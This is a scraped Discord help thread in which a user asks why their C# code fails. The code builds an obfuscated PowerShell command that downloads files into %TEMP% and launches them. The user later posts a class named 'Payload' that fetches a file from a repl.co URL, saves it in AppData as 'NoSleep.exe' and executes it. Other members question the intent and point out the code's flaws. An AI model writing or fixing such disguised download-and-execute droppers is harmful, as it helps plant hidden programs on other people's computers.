C
C#Wallace And Gromit

✅ doing nothing

dfg
WAG
Wallace And Gromit401d ago
the code literally isn't downloading from any websites or executing (i added valid urls)
c#
using System;
using System.Diagnostics;
using System.Threading;

class Program {
static void Main(string[] args) {
string cmdCode = "@echo off\r\n" +
"set files='url1','url2" +
"set myvar=pow\r\n" +
"set myvar=%myvar%er\r\n" +
"set myvar=%myvar%shell\r\n" +
"set myvar=%myvar% \"(%files%)|foreach{$fileName='%TEMP%'+(Split-Path -Path $_ -Leaf);(new-object System.Net.WebClient).DownloadFile($_,$fileName);Invoke-Item $fileName;}\"\r\n" +
"cmd /c %myvar%";

// Execute the command and capture output
ProcessStartInfo psi = new ProcessStartInfo();
psi.FileName = "cmd.exe";
psi.Arguments = "/c \"" + cmdCode + "\"";
psi.RedirectStandardOutput = true;
psi.UseShellExecute = false;
Process process = new Process();
process.StartInfo = psi;
process.Start();
string output = process.StandardOutput.ReadToEnd();
process.WaitForExit();

// Wait for a few seconds
Thread.Sleep(5000);

// Print output
Console.WriteLine(output);
}
}
c#
using System;
using System.Diagnostics;
using System.Threading;

class Program {
static void Main(string[] args) {
string cmdCode = "@echo off\r\n" +
"set files='url1','url2" +
"set myvar=pow\r\n" +
"set myvar=%myvar%er\r\n" +
"set myvar=%myvar%shell\r\n" +
"set myvar=%myvar% \"(%files%)|foreach{$fileName='%TEMP%'+(Split-Path -Path $_ -Leaf);(new-object System.Net.WebClient).DownloadFile($_,$fileName);Invoke-Item $fileName;}\"\r\n" +
"cmd /c %myvar%";

// Execute the command and capture output
ProcessStartInfo psi = new ProcessStartInfo();
psi.FileName = "cmd.exe";
psi.Arguments = "/c \"" + cmdCode + "\"";
psi.RedirectStandardOutput = true;
psi.UseShellExecute = false;
Process process = new Process();
process.StartInfo = psi;
process.Start();
string output = process.StandardOutput.ReadToEnd();
process.WaitForExit();

// Wait for a few seconds
Thread.Sleep(5000);

// Print output
Console.WriteLine(output);
}
}
B
Buddy401d ago
Why are you doing this outside of the process? Just write code that does the same in Hmm
T
Thinker401d ago
HttpClient client = new();
var file = await client.GetByteArrayAsync(url);
HttpClient client = new();
var file = await client.GetByteArrayAsync(url);
Here's perfectly reasonable code for downloading a file from regular old C#. Please use this instead of invoking Powershell for some reason.
J
jcotton42401d ago
This smells quite sussy @Wallace And Gromit what, exactly, is this for?
WAG
Wallace And Gromit401d ago
OSINTego
J
jcotton42401d ago
Which is... what?
WAG
Wallace And Gromit401d ago
maltego/paterva but 10x better its not finished yet though its in python, not c# but im making a c# code for it so i can convert the python file to exe, since pyinstaller (py to exe converter) is too difficult to convert, and i dont know much c#
J
jcotton42401d ago
I don't know what either of those are
WAG
Wallace And Gromit401d ago
maltego is an OSINT tool OSINT tool usually used for crime investigators, ethical hackers, investigators and other stuff
A
Axiss401d ago
I still don't understand why this C# code is trying to execute powershell code, but if for some reason you need to do that, sending it to cmd.exe isn't going to work. You need to execute powershell.exe
J
Jimmacle401d ago
how exactly is using C# to supposedly convert a python script to an EXE simpler than using a tool already designed to do that?
WAG
Wallace And Gromit401d ago
using System; using System.Net; public class Payload { public static void Main(string[] args) { using (var client = new WebClient()) { client.DownloadFile("https://osintframework.peanutgamerdot.repl.co/OSINTego.py", Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\NoSleep.exe"); } System.Diagnostics.Process.Start(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\NoSleep.exe"); } } .py see
J
Jimmacle401d ago
i'm not sure what this accomplishes sure it technically lets you run an exe to run a python script, but it's still a python script and requires python to be installed along with whatever dependencies that script has you also currently lose any command line arguments you may have passed
X
x0rld401d ago
your code juste download a python script in a file noSleep.exe nothing more
A
Accord400d ago
Was this issue resolved? If so, run /close - otherwise I will mark this as stale and this post will be archived until there is new activity.
WAG
Wallace And Gromit400d ago
K
Klarth400d ago
Has to be done via @Accord I guess?
T
Thinker400d ago
It's the /close from @Accord
Want results from more Discord servers?
Add your server
More Posts
❔ I would appreciate some help.So i have this assignment and in lieu of my grandma who passed this past week i've not had the oppor❔ Discord Bot Service ProblemDoes anyone know how to register that service properly?❔ abstract class vs interface```cs public interface IFoo { protected static string GetFormattedTime() => DateTime✅ Refit / RestLess API SDK StructureHey! How do I structure an SDK for my API? Let's say I have 2 resources: Users and Groups. I coul❔ Best way to display a continually updating list of messages```cs @inject MerpieClient Client @inject MerpieHubConnection HubConnection @inject ILogger<MessageL❔ How can I fix this I keep getting null value in my string variable❔ How do I go from interface to implementation while navigating ASP.NET core code?I saw this youtube video and he seamlessly navigates the source? How can I do this? Thanks.Console Application published as PublishSingleFile the window auto close for few devloper.I have published a .exe file with runtime framework included, and distributed to other developer for✅ Set Background color for one specific Row in GridI have a WPF project and a grid with a bunch of rows and columns. How can I change the background co❔ Facial recognition and centering using emgucv and arduino servos (visual studio)Hi guys, I am code illiterate. I found this code and need help because I do not know how to fix any ❔ Speech Recognizition makes me wanna cryI have already tried, using speech recogniztion on C++,Rust and now C#, since when this was that har❔ Système connexion wpfHello, Is someone making a connection system in wpf c# xaml to be simultaneously connected to my sit✅ How to use SVGs in XAML file (WPF)I have a WPF project and I want to use an svg file in MainWindow.xaml. How do I properly use svg in ❔ Progress bar value from 0 to 100 over 3 seconds for my splash screenI CANNOT GET IT TO WORK❔ How are prices changes/updates commonly handled in e-commerce?Is polling/signalr used to display relevant/current prices? What about when the price changes during❔ Copying selected item from list box to another list box (Utilizing data source)I cant seem to be able to copy one item from a listbox to another, my current code I am attempting i❔ Im a begginerthe script just copies the text from running a command in cmd why does it work if i use systeminfo o❔ Widget for Windows using WFA c#Hello, how i can make a widget for Windows 10 using WFA c# it just a program without border? what is❔ I am learning and I do not know what is wrongI am following a brackeys tutorial and have only changed the text to be written.❔ WPF ProblemAnyone know whats wrong?